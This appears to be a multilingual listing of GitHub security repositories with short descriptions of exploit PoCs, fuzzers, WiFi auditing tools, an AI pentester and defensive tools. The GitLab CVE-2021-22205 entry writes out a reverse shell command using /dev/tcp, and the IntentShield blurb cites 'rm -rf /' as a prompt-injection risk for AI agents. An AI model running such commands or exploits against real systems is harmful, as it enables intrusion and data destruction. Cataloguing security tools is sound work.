CVE-2017-7269-Echo-PoC

CVE-2017-7269 Remote Code Execution Echo Verification Our team's analysis report on the CVE-2017-7269 vulnerability: https://ht-sec.org/cve-2017-7269-vulnerabilities/ The default PoC only launches calc.exe. Now it has been modified to respond to requests. The command format is:...

filebuster

Filebuster An extremely fast and flexible web fuzzer What is it? Filebuster is a HTTP fuzzer / content discovery script with loads of features and built to be easy to use and fast! It uses one of the fastest HTTP classes in the world of PERL - Furl::HTTP. Also the thread modelling is optimized to...

dbeaver

DBeaver 面向开发人员、SQL 程序员、数据库管理员和分析师的免费多平台数据库工具。 拥有许多功能，包括模式编辑器、SQL 编辑器、数据编辑器、AI 集成、ER 图、数据导出/导入/迁移、SQL 执行计划、数据库管理工具、数据库仪表盘、空间数据查看器、代理与 SSH 隧道、自定义数据库驱动编辑器等。 开箱即用地支持超过 100 种数据库驱动。 支持任何拥有 JDBC 或 ODBC 驱动的数据库（基本上就是几乎所有现有数据库）。 支持通过 OpenAI 或 Copilot 进行智能 AI 补全和代码生成 下载 您可以从官方网站或直接通过GitHub...

litefuzz

litefuzz A multi-platform fuzzer for poking at userland binaries, clients and servers. It has found bugs in 50+ apps and libraries from top companies and open soruce. Simple setup to start fuzzing on Linux, Mac and Windows. litefuzz intro why how it works what it does what it doesn't do support...

litefuzz

litefuzz 一款多平台模糊测试工具，用于探测用户态二进制文件、客户端和服务器。 它已在高知名公司和开源项目的 50+ 应用和库 中发现漏洞。 简单设置即可在 Linux、Mac 和 Windows 上开始模糊测试。 litefuzz 介绍 为什么 工作原理 它能做什么 它不能做什么 支持 Python 版本 Linux Mac Windows 目标 分类 快速开始 测试 单元测试 崩溃应用测试 选项 崩溃目录 隔离模式 超时 变异器 ReportCrash 暂停 复用崩溃以寻找变体 内存调试辅助工具 检查实时目标输出 客户端与服务器模式 本地网络示例 远程网络示例 客户端 服务器...

creadur-rat-gradle

Apache RAT Release Audit Tool Gradle Plugin This plugin allows to run the Apache RAT release audit tool, focused on licenses. Installation In your build.gradle.kts file: plugins id"org.nosphere.apache.rat" version "0.8.1" Usage The plugin registers a task named rat that you can configure in your...

firepwner

CVE-2015-6357: Exploit FirePWNER para la vulnerabilidad de validación SSL de Cisco FireSIGHT Management Center Introducción Por sí sola, la Vulnerabilidad de validación de certificados de Cisco FireSIGHT Management Center3 es una vulnerabilidad de gravedad media con un CVSS de 5.1. Sin embargo,...

intentshield

IntentShield 不要过滤你的 AI 说了什么 。过滤它即将做什么 面向 AI 代理的执行前意图验证。 为什么需要这个 AI 代理拥有工具访问权限。它们可以执行 shell 命令、写入文件、浏览 URL、发送电子邮件以及调用 API。每一个这样的动作都是一个潜在的攻击面。 大多数 AI 安全工具在输出层工作。它们扫描 AI 说了什么。但危险的部分不是 AI 说了什么，而是 AI 做了什么。一个提示注入攻击诱骗 AI 运行 rm -rf /，可以绕过所有内容过滤器，因为过滤器只看到文本。shell 命令在任何人注意到之前就已经执行了。 IntentShield 位于 AI...

xalgorix

Xalgorix — Open-source AI pentester that proves vulnerabilities Most scanners detect. Xalgorix proves. An autonomous LLM agent works a full pentest methodology, then an independent verifier re-exploits every finding before it's reported — so you get proof, not a pile of maybes to triage...

xalgorix

Xalgorix — Open-source AI pentester that proves vulnerabilities Most scanners detect. Xalgorix proves. An autonomous LLM agent works a full pentest methodology, then an independent verifier re-exploits every finding before it's reported — so you get proof, not a pile of maybes to triage...

airgeddon

airgeddon Este es un script bash multiuso para sistemas Linux para auditar redes inalámbricas. Toda la información necesaria sobre cómo "instalar | usar | disfrutar" airgeddon está disponible en la Wiki de GitHub. I. Contenido y características Inicio Características Capturas de pantalla Fondos d...

claudleak

claudleak Escanea repositorios públicos de GitHub en busca de credenciales filtradas en archivos de configuración de herramientas de codificación de IA .claude/, .cursor/, .continue/, .codex/, CLAUDE.md, AGENTS.md, etc.. Utiliza TruffleHog para la detección de secretos. Ejemplo de directorio...

sbomlyze

sbomlyze 适用于您的 SBOM 的git diff。 比较两份软件物料清单 SBOM，查看构建、版本和发布之间发生了什么变化。 sbomlyze 比较组件哈希，而不仅仅是版本字符串。当攻击者在未升级版本的情况下替换软件包时，sbomlyze 会将其标记出来。生成器和漏洞扫描器会错过这一点。 !CIci-imgci !GitHub Marketplacemarketplace-imgmarketplace !GitHub Releaserelease-imgrelease !Go Report Cardgo-report-imggo-report !OpenSSF...

XSStrike

XSStrike Suite avanzada de detección de XSS XSStrike Wiki • Uso • FAQ • Para desarrolladores • Compatibilidad • Galería XSStrike es una suite de detección de Cross Site Scripting equipada con cuatro parsers escritos a mano, un generador inteligente de payloads, un potente motor de fuzzing y un...

cheese

Exploit de root para Quest 3/3S hasta la actualización del 7 de agosto de 2025 y anteriores, basado en CVE-2025-21479. captura de pantalla de Magisk, Cheese y Termux con una shell de root Advertencia: Rootear es peligroso. Si brickeeas un Quest 3/3S, no hay forma de repararlo. Esto desactiva toda...

CVE-2021-22205

漏洞影响 GitLab CE/EE 自 11.9 版本起的所有版本中发现了一个问题。GitLab 未正确验证传递给文件解析器的图像文件，导致远程命令执行。 受影响产品 Gitlab CE/EE /tmp/1.txt" 批量扫描 python3 CVE-2021-2205.py -s true -f target.txt 反弹 Shell python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port 0&1' /tmp/1.sh" python3...

CVE-2025-53772

CVE-2025-53772 - Exploit de RCE en Microsoft Web Deploy Un exploit basado en Python para CVE-2025-53772, una vulnerabilidad de ejecución remota de código en Microsoft Web Deploy msdeploy causada por una deserialización insegura de datos de cabeceras HTTP. 🎬 Vídeo de la POC Resumen de la...

Politician

Politician 一个用于ESP32微控制器的复杂WiFi审计库 Politician 是一个嵌入式 C++ 库，专为在 ESP32 平台上进行 WiFi 安全审计而设计。它提供了一个简洁、现代的 API，用于使用先进的 802.11 协议技术捕获 WPA/WPA2/WPA3 握手并收集企业凭据。 关键能力 PMKID 捕获 ：从关联响应中提取 PMKID，无需断开客户端连接 CSA（信道切换通告）注入 ：解除认证攻击的现代替代方案 企业凭据收集 ：从 802.1X 网络捕获 EAP-Identity 帧 隐藏网络发现 ：通过探测响应拦截自动 SSID 去隐蔽 设备指纹识别...

pastenum

Pastenum Pastenum es una herramienta de enumeración de volcados de texto. Está diseñada para ayudar a encontrar y enumerar volcados de datos y doxs publicados en sitios públicos. Actualmente busca en los sitios github.com, gist.github.com, pastebin.com, pastee.org y pastie.org. Pastenum es una...

CVE-2021-44228

概述 本仓库包含OpenIOC规则，用于协助搜索与Apache Log4j 2远程代码执行漏洞（CVE-2021-44228）相关的入侵指标。 这些规则被视为狩猎规则，因此检测效果会因组织而异。通过特定环境调优，这些规则可能适合部署为告警规则。规则分为两类： execution - 提供证据表明系统上 此前已执行 过可能与CVE相关操作（如可疑网络连接、URL请求、进程执行、文件写入）的IOC presence - 提供证据表明系统上存在活跃运行的进程或文件（与此CVE相关）的IOC...